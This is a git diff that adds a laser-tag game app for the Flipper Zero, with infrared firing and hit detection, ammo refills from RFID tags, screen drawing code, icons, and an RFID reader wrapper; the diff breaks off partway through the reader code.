+void infrared_signal_free(InfraredSignal* signal); + +/** + * @brief Test whether an InfraredSignal instance holds a raw signal. + * + * @param[in] signal pointer to the instance to be tested. + * @returns true if the instance holds a raw signal, false otherwise. + */ +bool infrared_signal_is_raw(const InfraredSignal* signal); + +/** + * @brief Test whether an InfraredSignal instance holds any signal. + * + * @param[in] signal pointer to the instance to be tested. + * @returns true if the instance holds raw signal, false otherwise. + */ +bool infrared_signal_is_valid(const InfraredSignal* signal); + +/** + * @brief Set an InfraredInstance to hold the signal from another one. + * + * Any instance's previous contents will be automatically deleted before + * copying the source instance's contents. + * + * @param[in,out] signal pointer to the destination instance. + * @param[in] other pointer to the source instance. + */ +void infrared_signal_set_signal(InfraredSignal* signal, const InfraredSignal* other); + +/** + * @brief Set an InfraredInstance to hold a raw signal. + * + * Any instance's previous contents will be automatically deleted before + * copying the raw signal. + * + * After this call, infrared_signal_is_raw() will return true. + * + * @param[in,out] signal pointer to the destination instance. + * @param[in] timings pointer to an array containing the raw signal timings. + * @param[in] timings_size number of elements in the timings array. + * @param[in] frequency signal carrier frequency, in Hertz. + * @param[in] duty_cycle signal duty cycle, fraction between 0 and 1. + */ +void infrared_signal_set_raw_signal( + InfraredSignal* signal, + const uint32_t* timings, + size_t timings_size, + uint32_t frequency, + float duty_cycle); + +/** + * @brief Get the raw signal held by an InfraredSignal instance. + * + * @warning the instance MUST hold a *raw* signal, otherwise undefined behaviour will occur. + * + * @param[in] signal pointer to the instance to be queried. + * @returns pointer to the raw signal structure held by the instance. + */ +const InfraredRawSignal* infrared_signal_get_raw_signal(const InfraredSignal* signal); + +/** + * @brief Set an InfraredInstance to hold a parsed signal. + * + * Any instance's previous contents will be automatically deleted before + * copying the raw signal. + * + * After this call, infrared_signal_is_raw() will return false. + * + * @param[in,out] signal pointer to the destination instance. + * @param[in] message pointer to the message containing the parsed signal. + */ +void infrared_signal_set_message(InfraredSignal* signal, const InfraredMessage* message); + +/** + * @brief Get the parsed signal held by an InfraredSignal instance. + * + * @warning the instance MUST hold a *parsed* signal, otherwise undefined behaviour will occur. + * + * @param[in] signal pointer to the instance to be queried. + * @returns pointer to the parsed signal structure held by the instance. + */ +const InfraredMessage* infrared_signal_get_message(const InfraredSignal* signal); + +/** + * @brief Read a signal and its name from a FlipperFormat file into an InfraredSignal instance. + * + * The file must be allocated and open prior to this call. The seek position determines + * which signal will be read (if there is more than one in the file). Calling this function + * repeatedly will result in all signals in the file to be read until no more are left. + * + * @param[in,out] signal pointer to the instance to be read into. + * @param[in,out] ff pointer to the FlipperFormat file instance to read from. + * @param[out] name pointer to the string to hold the signal name. Must be properly allocated. + * @returns true if a signal was successfully read, false otherwise (e.g. no more signals to read). + */ +bool infrared_signal_read(InfraredSignal* signal, FlipperFormat* ff, FuriString* name); + +/** + * @brief Read a signal name from a FlipperFormat file. + * + * Same behaviour as infrared_signal_read(), but only the name is read. + * + * @param[in,out] ff pointer to the FlipperFormat file instance to read from. + * @param[out] name pointer to the string to hold the signal name. Must be properly allocated. + * @returns true if a signal name was successfully read, false otherwise (e.g. no more signals to read). + */ +bool infrared_signal_read_name(FlipperFormat* ff, FuriString* name); + +/** + * @brief Read a signal from a FlipperFormat file. + * + * Same behaviour as infrared_signal_read(), but only the body is read. + * + * @param[in,out] ff pointer to the FlipperFormat file instance to read from. + * @param[out] body pointer to the InfraredSignal instance to hold the signal body. Must be properly allocated. + * @returns true if a signal body was successfully read, false otherwise (e.g. syntax error). + */ +bool infrared_signal_read_body(InfraredSignal* signal, FlipperFormat* ff); + +/** + * @brief Read a signal with a particular name from a FlipperFormat file into an InfraredSignal instance. + * + * This function will look for a signal with the given name and if found, attempt to read it. + * Same considerations apply as to infrared_signal_read(). + * + * @param[in,out] signal pointer to the instance to be read into. + * @param[in,out] ff pointer to the FlipperFormat file instance to read from. + * @param[in] name pointer to a zero-terminated string containing the requested signal name. + * @returns true if a signal was found and successfully read, false otherwise (e.g. the signal was not found). + */ +bool infrared_signal_search_by_name_and_read( + InfraredSignal* signal, + FlipperFormat* ff, + const char* name); + +/** + * @brief Read a signal with a particular index from a FlipperFormat file into an InfraredSignal instance. + * + * This function will look for a signal with the given index and if found, attempt to read it. + * Same considerations apply as to infrared_signal_read(). + * + * @param[in,out] signal pointer to the instance to be read into. + * @param[in,out] ff pointer to the FlipperFormat file instance to read from. + * @param[in] index the requested signal index. + * @returns true if a signal was found and successfully read, false otherwise (e.g. the signal was not found). + */ +bool infrared_signal_search_by_index_and_read( + InfraredSignal* signal, + FlipperFormat* ff, + size_t index); + +/** + * @brief Save a signal contained in an InfraredSignal instance to a FlipperFormat file. + * + * The file must be allocated and open prior to this call. Additionally, an appropriate header + * must be already written into the file. + * + * @param[in] signal pointer to the instance holding the signal to be saved. + * @param[in,out] ff pointer to the FlipperFormat file instance to write to. + * @param[in] name pointer to a zero-terminated string contating the name of the signal. + */ +bool infrared_signal_save(const InfraredSignal* signal, FlipperFormat* ff, const char* name); + +/** + * @brief Transmit a signal contained in an InfraredSignal instance. + * + * The transmission happens once per call using the built-in hardware (via HAL calls). + * + * @param[in] signal pointer to the instance holding the signal to be transmitted. + */ +void infrared_signal_transmit(const InfraredSignal* signal); diff --git a/laser_tag/laser_tag_app.c b/laser_tag/laser_tag_app.c new file mode 100644 index 00000000000..1cbd5550d83 --- /dev/null +++ b/laser_tag/laser_tag_app.c @@ -0,0 +1,485 @@ +#include "laser_tag_app.h" +#include "laser_tag_view.h" +#include "infrared_controller.h" +#include "game_state.h" +#include "lfrfid_reader.h" +#include +#include +#include +#include + +#define TAG "LaserTagApp" + +struct LaserTagApp { + Gui* gui; + ViewPort* view_port; + LaserTagView* view; + FuriMessageQueue* event_queue; + FuriTimer* timer; + NotificationApp* notifications; + InfraredController* ir_controller; + GameState* game_state; + LaserTagState state; + bool need_redraw; + LFRFIDReader* reader; +}; + +const NotificationSequence sequence_vibro_1 = {&message_vibro_on, &message_vibro_off, NULL}; +const NotificationSequence sequence_short_beep = + {&message_note_c4, &message_delay_50, &message_sound_off, NULL}; + +static void laser_tag_app_timer_callback(void* context) { + furi_assert(context); + LaserTagApp* app = context; + FURI_LOG_D(TAG, "Timer callback triggered"); + + if(app->state == LaserTagStateSplashScreen) { + if(game_state_get_time(app->game_state) >= 2) { + FURI_LOG_I(TAG, "Splash screen time over, switching to TeamSelect"); + app->state = LaserTagStateTeamSelect; + game_state_reset(app->game_state); + FURI_LOG_D(TAG, "Game state reset after splash screen"); + } else { + FURI_LOG_D(TAG, "Updating splash screen time"); + game_state_update_time(app->game_state, 1); + } + } else if(app->state == LaserTagStateGame) { + FURI_LOG_D(TAG, "Updating game time by 1 second"); + game_state_update_time(app->game_state, 1); + } + + if(app->view) { + FURI_LOG_D(TAG, "Updating view with the latest game state"); + laser_tag_view_update(app->view, app->game_state); + app->need_redraw = true; + } +} + +static void laser_tag_app_input_callback(InputEvent* input_event, void* context) { + furi_assert(context); + LaserTagApp* app = context; + FURI_LOG_D(TAG, "Input event received: type=%d, key=%d", input_event->type, input_event->key); + furi_message_queue_put(app->event_queue, input_event, 0); + FURI_LOG_D(TAG, "Input event queued successfully"); +} + +static void laser_tag_app_draw_callback(Canvas* canvas, void* context) { + furi_assert(context); + LaserTagApp* app = context; + FURI_LOG_D(TAG, "Entering draw callback"); + + if(app->state == LaserTagStateSplashScreen) { + canvas_clear(canvas); + canvas_set_font(canvas, FontPrimary); + canvas_draw_str(canvas, 5, 20, "Laser Tag!"); + canvas_set_font(canvas, FontSecondary); + canvas_draw_str(canvas, 5, 40, "https://github.com/"); + canvas_draw_str(canvas, 5, 50, "RocketGod-git/"); + canvas_draw_str(canvas, 5, 60, "Flipper-Zero-Laser-Tag"); + canvas_draw_frame(canvas, 0, 0, 128, 64); + canvas_draw_line(canvas, 0, 30, 127, 30); + canvas_draw_circle(canvas, 110, 15, 12); + canvas_draw_disc(canvas, 110, 15, 4); + + } else if(app->state == LaserTagStateTeamSelect) { + canvas_clear(canvas); + canvas_draw_frame(canvas, 0, 0, 128, 64); + + canvas_set_font(canvas, FontPrimary); + canvas_draw_str(canvas, 14, 13, "SELECT TEAM"); + + canvas_draw_line(canvas, 0, 16, 127, 16); + + canvas_set_font(canvas, FontSecondary); + canvas_draw_str(canvas, 5, 30, "LEFT"); + canvas_draw_str(canvas, 95, 30, "RIGHT"); + + canvas_set_font(canvas, FontPrimary); + canvas_draw_str(canvas, 10, 45, "RED"); + canvas_draw_str(canvas, 95, 45, "BLUE"); + + // Gun icon for Red team + canvas_draw_line(canvas, 10, 50, 25, 50); + canvas_draw_line(canvas, 25, 50, 25, 55); + canvas_draw_line(canvas, 10, 55, 25, 55); + canvas_draw_line(canvas, 15, 55, 15, 60); + + // Gun icon for Blue team (facing left) + canvas_draw_line(canvas, 95, 50, 110, 50); + canvas_draw_line(canvas, 95, 50, 95, 55); + canvas_draw_line(canvas, 95, 55, 110, 55); + canvas_draw_line(canvas, 105, 55, 105, 60); + + // Laser beams + canvas_draw_line(canvas, 25, 52, 60, 32); + canvas_draw_line(canvas, 95, 52, 60, 32); + + // Targets where lasers hit + canvas_draw_circle(canvas, 60, 32, 5); + canvas_draw_circle(canvas, 60, 32, 2); + + } else if(app->state == LaserTagStateGameOver) { + canvas_clear(canvas); + + canvas_set_font(canvas, FontPrimary); + + // Display "GAME OVER!" centered on the screen + canvas_draw_str_aligned(canvas, 64, 25, AlignCenter, AlignCenter, "GAME OVER!"); + + // Add a solid block border around the screen + for(int x = 0; x < 128; x += 8) { + canvas_draw_box(canvas, x, 0, 8, 8); + canvas_draw_box(canvas, x, 56, 8, 8); + } + for(int y = 8; y < 56; y += 8) { + canvas_draw_box(canvas, 0, y, 8, 8); + canvas_draw_box(canvas, 120, y, 8, 8); + } + + canvas_set_font(canvas, FontSecondary); + canvas_draw_str_aligned(canvas, 64, 50, AlignCenter, AlignCenter, "Press OK to Restart"); + + } else if(app->view) { + FURI_LOG_D(TAG, "Drawing game view"); + laser_tag_view_draw(laser_tag_view_get_view(app->view), canvas); + } + FURI_LOG_D(TAG, "Exiting draw callback"); +} + +static bool matching_team(LaserTagApp* app, uint8_t data) { + if(data == 0) { + return true; + } else if(game_state_get_team(app->game_state) == TeamRed) { + return data == 0xA1; + } else if(game_state_get_team(app->game_state) == TeamBlue) { + return data == 0xB2; + } + return false; +} + +static void tag_callback(uint8_t* data, uint8_t length, void* context) { + LaserTagApp* app = (LaserTagApp*)context; + + if(length != 5) { + FURI_LOG_W(TAG, "Tag is not for game. Length: %d", length); + return; + } + + if(data[0] != 0x13 || data[1] != 0x37) { + FURI_LOG_D( + TAG, + "Tag is not for game. Data: %02x %02x %02x %02x %02x", + data[0], + data[1], + data[2], + data[3], + data[4]); + return; + } + + if(matching_team(app, data[2])) { + if(data[3] == 0xFD) { + uint16_t max_delta_ammo = data[4]; + uint16_t ammo = game_state_get_ammo(app->game_state); + uint16_t delta_ammo = INITIAL_AMMO - ammo; + if(delta_ammo > max_delta_ammo) { + delta_ammo = max_delta_ammo; + } + game_state_increase_ammo(app->game_state, delta_ammo); + FURI_LOG_D(TAG, "Increased ammo by: %d", delta_ammo); + } else { + FURI_LOG_W(TAG, "Tag action unknown: %02x %02x", data[3], data[4]); + } + } else { + FURI_LOG_I(TAG, "Tag not for team: %02x", data[2]); + } +} + +LaserTagApp* laser_tag_app_alloc() { + FURI_LOG_D(TAG, "Allocating Laser Tag App"); + LaserTagApp* app = malloc(sizeof(LaserTagApp)); + if(!app) { + FURI_LOG_E(TAG, "Failed to allocate LaserTagApp"); + return NULL; + } + FURI_LOG_I(TAG, "LaserTagApp allocated successfully"); + + memset(app, 0, sizeof(LaserTagApp)); + + app->gui = furi_record_open(RECORD_GUI); + app->view_port = view_port_alloc(); + app->view = laser_tag_view_alloc(); + app->notifications = furi_record_open(RECORD_NOTIFICATION); + app->game_state = game_state_alloc(); + app->event_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); + + if(!app->gui || !app->view_port || !app->view || !app->notifications || !app->game_state || + !app->event_queue) { + FURI_LOG_E(TAG, "Failed to allocate resources for LaserTagApp"); + laser_tag_app_free(app); + return NULL; + } + + app->state = LaserTagStateSplashScreen; + app->need_redraw = true; + FURI_LOG_I(TAG, "Initial state set to SplashScreen"); + + view_port_draw_callback_set(app->view_port, laser_tag_app_draw_callback, app); + view_port_input_callback_set(app->view_port, laser_tag_app_input_callback, app); + gui_add_view_port(app->gui, app->view_port, GuiLayerFullscreen); + FURI_LOG_D(TAG, "ViewPort callbacks set and added to GUI"); + + app->timer = furi_timer_alloc(laser_tag_app_timer_callback, FuriTimerTypePeriodic, app); + if(!app->timer) { + FURI_LOG_E(TAG, "Failed to allocate timer"); + laser_tag_app_free(app); + return NULL; + } + FURI_LOG_I(TAG, "Timer allocated"); + + app->reader = lfrfid_reader_alloc(); + lfrfid_reader_set_tag_callback(app->reader, "EM4100", tag_callback, app); + + furi_timer_start(app->timer, furi_kernel_get_tick_frequency()); + FURI_LOG_D(TAG, "Timer started"); + + return app; +} + +void laser_tag_app_free(LaserTagApp* app) { + FURI_LOG_D(TAG, "Freeing Laser Tag App"); + furi_assert(app); + + furi_timer_free(app->timer); + view_port_enabled_set(app->view_port, false); + gui_remove_view_port(app->gui, app->view_port); + view_port_free(app->view_port); + laser_tag_view_free(app->view); + furi_message_queue_free(app->event_queue); + if(app->ir_controller) { + infrared_controller_free(app->ir_controller); + } + if(app->reader) { + lfrfid_reader_free(app->reader); + app->reader = NULL; + } + free(app->game_state); + furi_record_close(RECORD_GUI); + furi_record_close(RECORD_NOTIFICATION); + + free(app); + FURI_LOG_I(TAG, "Laser Tag App freed successfully"); +} + +void laser_tag_app_fire(LaserTagApp* app) { + furi_assert(app); + FURI_LOG_D(TAG, "Firing laser"); + + if(!app->ir_controller) { + FURI_LOG_E(TAG, "IR controller is NULL in laser_tag_app_fire"); + return; + } + + infrared_controller_send(app->ir_controller); + FURI_LOG_D(TAG, "Laser fired, decreasing ammo by 1"); + game_state_decrease_ammo(app->game_state, 1); + + notification_message(app->notifications, &sequence_short_beep); + + if(game_state_get_team(app->game_state) == TeamBlue) { + notification_message(app->notifications, &sequence_blink_blue_100); + + FURI_LOG_I(TAG, "Notifying user with blink blue and short beep"); + } else { + notification_message(app->notifications, &sequence_blink_red_100); + + FURI_LOG_I(TAG, "Notifying user with blink red and short beep"); + } + + app->need_redraw = true; +} + +void laser_tag_app_handle_hit(LaserTagApp* app) { + furi_assert(app); + FURI_LOG_D(TAG, "Handling hit, decreasing health by 10"); + + game_state_decrease_health(app->game_state, 10); + notification_message(app->notifications, &sequence_vibro_1); + FURI_LOG_I(TAG, "Notifying user with vibration"); + + if(game_state_is_game_over(app->game_state)) { + FURI_LOG_I(TAG, "Game over, switching to Game Over screen"); + + notification_message(app->notifications, &sequence_error); + + app->state = LaserTagStateGameOver; + app->need_redraw = true; + } +} + +static bool laser_tag_app_enter_game_state(LaserTagApp* app) { + furi_assert(app); + FURI_LOG_I(TAG, "Entering game state"); + + app->state = LaserTagStateGame; + game_state_reset(app->game_state); + FURI_LOG_D(TAG, "Game state reset"); + + laser_tag_view_update(app->view, app->game_state); + FURI_LOG_D(TAG, "View updated with new game state"); + + if(app->ir_controller) { + infrared_controller_free(app->ir_controller); + app->ir_controller = NULL; + } + app->ir_controller = infrared_controller_alloc(); + if(!app->ir_controller) { + FURI_LOG_E(TAG, "Failed to allocate IR controller"); + return false; + } + FURI_LOG_I(TAG, "IR controller allocated"); + + infrared_controller_set_team(app->ir_controller, game_state_get_team(app->game_state)); + FURI_LOG_D(TAG, "IR controller team set"); + app->need_redraw = true; + return true; +} + +int32_t laser_tag_app(void* p) { + UNUSED(p); + FURI_LOG_I(TAG, "Laser Tag app starting"); + + LaserTagApp* app = laser_tag_app_alloc(); + if(!app) { + FURI_LOG_E(TAG, "Failed to allocate application"); + return -1; + } + FURI_LOG_D(TAG, "LaserTagApp allocated successfully"); + + InputEvent event; + bool running = true; + while(running) { + FURI_LOG_D(TAG, "Start of main loop iteration"); + + FuriStatus status = furi_message_queue_get(app->event_queue, &event, 100); + if(status == FuriStatusOk) { + FURI_LOG_D(TAG, "Received input event: type=%d, key=%d", event.type, event.key); + if(event.type == InputTypePress || event.type == InputTypeRepeat) { + if(app->state == LaserTagStateSplashScreen || + app->state == LaserTagStateTeamSelect) { + switch(event.key) { + case InputKeyLeft: + FURI_LOG_I(TAG, "Red team selected"); + game_state_set_team(app->game_state, TeamRed); + if(!laser_tag_app_enter_game_state(app)) { + running = false; + } + break; + case InputKeyRight: + FURI_LOG_I(TAG, "Blue team selected"); + game_state_set_team(app->game_state, TeamBlue); + if(!laser_tag_app_enter_game_state(app)) { + running = false; + } + break; + case InputKeyBack: + FURI_LOG_I(TAG, "Back key pressed, exiting"); + running = false; + break; + default: + break; + } + } else if(app->state == LaserTagStateGameOver) { + if(event.key == InputKeyOk) { + FURI_LOG_I(TAG, "OK key pressed, restarting game"); + + // Restart game by resetting game state and transitioning to splash screen + game_state_reset(app->game_state); + app->state = LaserTagStateSplashScreen; + app->need_redraw = true; + } + } else if(app->state == LaserTagStateGame) { + if(event.key == InputKeyDown && game_state_get_ammo(app->game_state) == 0) { + // Reload ammo when Down button is pressed and ammo is depleted + FURI_LOG_I(TAG, "Down key pressed, reloading ammo"); + game_state_increase_ammo(app->game_state, INITIAL_AMMO); + app->need_redraw = true; + } else { + switch(event.key) { + case InputKeyBack: + FURI_LOG_I(TAG, "Back key pressed, exiting"); + running = false; + break; + case InputKeyOk: + FURI_LOG_I(TAG, "OK key pressed, firing laser"); + laser_tag_app_fire(app); + break; + case InputKeyUp: + FURI_LOG_I(TAG, "Up key pressed, scanning for ammo"); + notification_message(app->notifications, &sequence_short_beep); + uint16_t ammo = game_state_get_ammo(app->game_state); + infrared_controller_pause(app->ir_controller); + lfrfid_reader_start(app->reader); + for(int i = 0; i < 30; i++) { + furi_delay_ms(100); + if(ammo != game_state_get_ammo(app->game_state)) { + break; + } + } + lfrfid_reader_stop(app->reader); + infrared_controller_resume(app->ir_controller); + if(ammo != game_state_get_ammo(app->game_state)) { + notification_message(app->notifications, &sequence_success); + } else { + notification_message(app->notifications, &sequence_error); + } + app->need_redraw = true; + break; + default: + break; + } + } + } + } + } else if(status == FuriStatusErrorTimeout) { + FURI_LOG_D(TAG, "No input event, continuing"); + } else { + FURI_LOG_E(TAG, "Failed to get input event, status: %d", status); + } + + if(app->state == LaserTagStateGame && app->ir_controller) { + if(infrared_controller_receive(app->ir_controller)) { + FURI_LOG_D(TAG, "Hit received, processing"); + laser_tag_app_handle_hit(app); + } + + if(game_state_is_game_over(app->game_state)) { + FURI_LOG_I(TAG, "Game over, notifying user with error sequence"); + notification_message(app->notifications, &sequence_error); + // Stop game logic after game over + app->state = LaserTagStateGameOver; + app->need_redraw = true; + } + } else if(app->state == LaserTagStateGameOver) { + if(event.key == InputKeyOk) { + FURI_LOG_I(TAG, "OK key pressed, restarting game"); + game_state_reset(app->game_state); + app->state = LaserTagStateSplashScreen; + app->need_redraw = true; + } + } + + if(app->need_redraw) { + FURI_LOG_D(TAG, "Updating viewport"); + view_port_update(app->view_port); + app->need_redraw = false; + } + + FURI_LOG_D(TAG, "End of main loop iteration"); + furi_delay_ms(10); + } + + FURI_LOG_I(TAG, "Laser Tag app exiting"); + laser_tag_app_free(app); + return 0; +} diff --git a/laser_tag/laser_tag_app.h b/laser_tag/laser_tag_app.h new file mode 100644 index 00000000000..b7891213078 --- /dev/null +++ b/laser_tag/laser_tag_app.h @@ -0,0 +1,26 @@ + +#pragma once + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define FRAME_WIDTH 128 +#define FRAME_HEIGHT 64 + +typedef struct LaserTagApp LaserTagApp; + +LaserTagApp* laser_tag_app_alloc(); +void laser_tag_app_free(LaserTagApp* app); +int32_t laser_tag_app(void* p); +void laser_tag_app_set_view_port(LaserTagApp* app, View* view); +void laser_tag_app_switch_to_next_scene(LaserTagApp* app); +void laser_tag_app_fire(LaserTagApp* app); +void laser_tag_app_handle_hit(LaserTagApp* app); diff --git a/laser_tag/laser_tag_icons.c b/laser_tag/laser_tag_icons.c new file mode 100644 index 00000000000..7187865a8e7 --- /dev/null +++ b/laser_tag/laser_tag_icons.c @@ -0,0 +1,178 @@ + +#include "laser_tag_icons.h" +#include + +const uint8_t laser_gun_icon_data[] = { + 0, + 0b00000000, + 0b00000000, + 0b00000001, + 0b10000000, + 0b00000011, + 0b11000000, + 0b00000111, + 0b11100000, + 0b00001111, + 0b11110000, + 0b00011111, + 0b11111000, + 0b11111111, + 0b11111110, + 0b11111111, + 0b11111111, +}; + +const uint8_t health_icon_data[] = { + 0, + 0b00001100, + 0b00110000, + 0b00011110, + 0b01111000, + 0b00111111, + 0b11111100, + 0b01111111, + 0b11111110, + 0b01111111, + 0b11111110, + 0b00111111, + 0b11111100, + 0b00011111, + 0b11111000, + 0b00000111, + 0b11100000, +}; + +const uint8_t ammo_icon_data[] = { + 0, + 0b00011000, + 0b00011000, + 0b00111100, + 0b00111100, + 0b01111110, + 0b01111110, + 0b11111111, + 0b11111111, + 0b11111111, + 0b11111111, + 0b01111110, + 0b01111110, + 0b00111100, + 0b00111100, + 0b00011000, + 0b00011000, +}; + +const uint8_t team_red_icon_data[] = { + 0, + 0b00011000, + 0b00011000, + 0b00111100, + 0b00111100, + 0b01111110, + 0b01111110, + 0b11111111, + 0b11111111, + 0b11111111, + 0b11111111, + 0b01111110, + 0b01111110, + 0b00111100, + 0b00111100, + 0b00011000, + 0b00011000, +}; + +const uint8_t team_blue_icon_data[] = { + 0, + 0b11100111, + 0b11100111, + 0b11000011, + 0b11000011, + 0b10000001, + 0b10000001, + 0b00000000, + 0b00000000, + 0b00000000, + 0b00000000, + 0b10000001, + 0b10000001, + 0b11000011, + 0b11000011, + 0b11100111, + 0b11100111, +}; + +const uint8_t game_over_icon_data[] = { + 0, + 0b11111111, + 0b11111111, + 0b10000000, + 0b00000001, + 0b10111101, + 0b10111101, + 0b10100001, + 0b10100001, + 0b10100001, + 0b10100001, + 0b10111101, + 0b10111101, + 0b10000000, + 0b00000001, + 0b11111111, + 0b11111111, +}; + +const uint8_t* const laser_gun_icon_frames[] = {laser_gun_icon_data}; +const uint8_t* const health_icon_frames[] = {health_icon_data}; +const uint8_t* const ammo_icon_frames[] = {ammo_icon_data}; +const uint8_t* const team_red_icon_frames[] = {team_red_icon_data}; +const uint8_t* const team_blue_icon_frames[] = {team_blue_icon_data}; +const uint8_t* const game_over_icon_frames[] = {game_over_icon_data}; + +const Icon I_laser_gun_icon = { + .width = 16, + .height = 8, + .frame_count = 1, + .frame_rate = 0, + .frames = laser_gun_icon_frames, +}; + +const Icon I_health_icon = { + .width = 16, + .height = 8, + .frame_count = 1, + .frame_rate = 0, + .frames = health_icon_frames, +}; + +const Icon I_ammo_icon = { + .width = 16, + .height = 8, + .frame_count = 1, + .frame_rate = 0, + .frames = ammo_icon_frames, +}; + +const Icon I_team_red_icon = { + .width = 16, + .height = 8, + .frame_count = 1, + .frame_rate = 0, + .frames = team_red_icon_frames, +}; + +const Icon I_team_blue_icon = { + .width = 16, + .height = 8, + .frame_count = 1, + .frame_rate = 0, + .frames = team_blue_icon_frames, +}; + +const Icon I_game_over_icon = { + .width = 16, + .height = 8, + .frame_count = 1, + .frame_rate = 0, + .frames = game_over_icon_frames, +}; diff --git a/laser_tag/laser_tag_icons.h b/laser_tag/laser_tag_icons.h new file mode 100644 index 00000000000..32326667b35 --- /dev/null +++ b/laser_tag/laser_tag_icons.h @@ -0,0 +1,18 @@ + +#pragma once + +#include + +extern const Icon I_laser_gun_icon; +extern const Icon I_health_icon; +extern const Icon I_ammo_icon; +extern const Icon I_team_red_icon; +extern const Icon I_team_blue_icon; +extern const Icon I_game_over_icon; + +#define LASER_GUN_ICON (&I_laser_gun_icon) +#define HEALTH_ICON (&I_health_icon) +#define AMMO_ICON (&I_ammo_icon) +#define TEAM_RED_ICON (&I_team_red_icon) +#define TEAM_BLUE_ICON (&I_team_blue_icon) +#define GAME_OVER_ICON (&I_game_over_icon) diff --git a/laser_tag/laser_tag_view.c b/laser_tag/laser_tag_view.c new file mode 100644 index 00000000000..37a278ca0f0 --- /dev/null +++ b/laser_tag/laser_tag_view.c @@ -0,0 +1,114 @@ +#include "laser_tag_view.h" +#include +#include + +struct LaserTagView { + View* view; +}; + +typedef struct { + LaserTagTeam team; + uint8_t health; + uint16_t ammo; + uint32_t game_time; + bool game_over; +} LaserTagViewModel; + +static void laser_tag_view_draw_callback(Canvas* canvas, void* model) { + LaserTagViewModel* m = model; + furi_assert(m); + furi_assert(canvas); + + canvas_clear(canvas); + canvas_set_color(canvas, ColorBlack); + + canvas_draw_str_aligned( + canvas, 5, 10, AlignLeft, AlignBottom, m->team == TeamRed ? "Team: Red" : "Team: Blue"); + + canvas_draw_str_aligned(canvas, 5, 25, AlignLeft, AlignBottom, "Health:"); + canvas_draw_frame(canvas, 55, 20, 60, 10); + canvas_draw_box(canvas, 56, 21, (58 * m->health) / 100, 8); + + canvas_draw_str_aligned(canvas, 5, 40, AlignLeft, AlignBottom, "Ammo:"); + canvas_draw_frame(canvas, 55, 35, 60, 10); + canvas_draw_box(canvas, 56, 36, (58 * m->ammo) / 100, 8); + + if(m->ammo == 0) { + canvas_draw_str_aligned(canvas, 5, 55, AlignLeft, AlignBottom, "Press 'Down' to Reload"); + } + + uint32_t minutes = m->game_time / 60; + uint32_t seconds = m->game_time % 60; + FuriString* str = furi_string_alloc_printf("%02ld:%02ld", minutes, seconds); + canvas_draw_str_aligned(canvas, 5, 60, AlignLeft, AlignBottom, furi_string_get_cstr(str)); + + if(m->game_over) { + canvas_draw_str_aligned(canvas, 5, 75, AlignLeft, AlignBottom, "GAME OVER"); + } + + furi_string_free(str); +} + +static bool laser_tag_view_input_callback(InputEvent* event, void* context) { + UNUSED(event); + UNUSED(context); + return false; +} + +LaserTagView* laser_tag_view_alloc() { + LaserTagView* laser_tag_view = malloc(sizeof(LaserTagView)); + if(!laser_tag_view) { + return NULL; + } + + laser_tag_view->view = view_alloc(); + if(!laser_tag_view->view) { + free(laser_tag_view); + return NULL; + } + + view_set_context(laser_tag_view->view, laser_tag_view); + view_allocate_model(laser_tag_view->view, ViewModelTypeLocking, sizeof(LaserTagViewModel)); + view_set_draw_callback(laser_tag_view->view, laser_tag_view_draw_callback); + view_set_input_callback(laser_tag_view->view, laser_tag_view_input_callback); + + return laser_tag_view; +} + +void laser_tag_view_free(LaserTagView* laser_tag_view) { + if(!laser_tag_view) return; + if(laser_tag_view->view) { + view_free(laser_tag_view->view); + } + free(laser_tag_view); +} + +void laser_tag_view_draw(View* view, Canvas* canvas) { + furi_assert(view); + furi_assert(canvas); + LaserTagViewModel* model = view_get_model(view); + laser_tag_view_draw_callback(canvas, model); + view_commit_model(view, false); +} + +View* laser_tag_view_get_view(LaserTagView* laser_tag_view) { + furi_assert(laser_tag_view); + return laser_tag_view->view; +} + +void laser_tag_view_update(LaserTagView* laser_tag_view, GameState* game_state) { + furi_assert(laser_tag_view); + furi_assert(game_state); + + with_view_model( + laser_tag_view->view, + LaserTagViewModel * model, + { + model->team = game_state_get_team(game_state); + model->health = game_state_get_health(game_state); + model->ammo = game_state_get_ammo(game_state); + model->game_time = game_state_get_time(game_state); + model->game_over = game_state_is_game_over(game_state); + }, + true); +} diff --git a/laser_tag/laser_tag_view.h b/laser_tag/laser_tag_view.h new file mode 100644 index 00000000000..c99e3d2a066 --- /dev/null +++ b/laser_tag/laser_tag_view.h @@ -0,0 +1,13 @@ + +#pragma once + +#include +#include "game_state.h" + +typedef struct LaserTagView LaserTagView; + +LaserTagView* laser_tag_view_alloc(); +void laser_tag_view_free(LaserTagView* laser_tag_view); +void laser_tag_view_draw(View* view, Canvas* canvas); +View* laser_tag_view_get_view(LaserTagView* laser_tag_view); +void laser_tag_view_update(LaserTagView* laser_tag_view, GameState* game_state); diff --git a/laser_tag/lfrfid_reader.c b/laser_tag/lfrfid_reader.c new file mode 100644 index 00000000000..25ba269a747 --- /dev/null +++ b/laser_tag/lfrfid_reader.c @@ -0,0 +1,117 @@ +#include "lfrfid_reader.h" +#include +#include +#include + +#define TAG "LfRfid_Reader" + +typedef enum { + LFRFIDReaderEventTagRead = (1 << 0), + LFRFIDReaderEventStopThread = (1 << 1), + LFRFIDReaderEventAll = (LFRFIDReaderEventTagRead | LFRFIDReaderEventStopThread), +} LFRFIDReaderEventType; + +struct LFRFIDReader { + char* requested_protocol; + ProtocolId protocol; + ProtocolDict* dict; + LFRFIDWorker* worker; + FuriThread* thread; + LFRFIDReaderTagCallback callback; + void* callback_context; +}; + +static void lfrfid_cli_read_callback(LFRFIDWorkerReadResult result, ProtocolId proto, void* ctx) { + furi_assert(ctx); + LFRFIDReader* context = ctx; + if(result == LFRFIDWorkerReadDone) { + context->protocol = proto; + furi_thread_flags_set(furi_thread_get_id(context->thread), LFRFIDReaderEventTagRead); + } +} + +LFRFIDReader* lfrfid_reader_alloc() { + LFRFIDReader* reader = malloc(sizeof(LFRFIDReader)); + reader->protocol = PROTOCOL_NO; + reader->dict = protocol_dict_alloc(lfrfid_protocols, LFRFIDProtocolMax); + reader->worker = lfrfid_worker_alloc(reader->dict); + + return reader; +} + +void lfrfid_reader_set_tag_callback( + LFRFIDReader* reader, + char* requested_protocol, + LFRFIDReaderTagCallback callback, + void* context) { + furi_assert(reader); + furi_assert(requested_protocol); + reader->requested_protocol = requested_protocol; + reader->callback = callback; + reader->callback_context = context; +} + +static int32_t lfrfid_reader_start_thread(void* ctx) { + LFRFIDReader* reader = (LFRFIDReader*)ctx; + furi_thread_flags_clear(LFRFIDReaderEventAll); + 